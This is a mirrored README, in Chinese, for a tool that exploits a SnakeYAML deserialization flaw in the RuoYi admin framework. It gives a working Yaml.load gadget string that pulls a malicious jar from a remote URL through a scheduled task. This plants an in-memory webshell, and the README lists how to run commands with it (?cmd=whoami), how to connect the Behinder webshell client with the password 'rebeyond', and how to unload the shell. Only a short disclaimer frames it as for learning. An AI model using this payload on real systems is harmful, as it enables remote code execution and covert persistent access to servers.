Giter Club home page Giter Club logo

yaml-payload-for-ruoyi's Introduction

yaml-payload-for-ruoyi

注入方法：
把jar放到系统可以访问的地方，在定时任务创建新的定时任务，再立即执行一次即可

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["you_url_of_jar"]]]]')

image-20211127160033485

若依 snakeyaml 反序列化漏洞注入内存马

RuoYi

  1. 直接执行命令：?cmd=whoami
  2. 连接冰蝎：/login?cmd=1（cmd不为空即可），密码为rebeyond，使用冰蝎正常连接即可
  3. 卸载内存马：?cmd=delete

image RuoYi Vue

  1. 直接执行命令：/dev-api/?cmd=whoami
  2. 连接冰蝎：暂不支持
  3. 卸载内存马：/dev-api/?cmd=delete

项目仅供学习使用，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责

yaml-payload-for-ruoyi's People

Contributors

lz2y avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.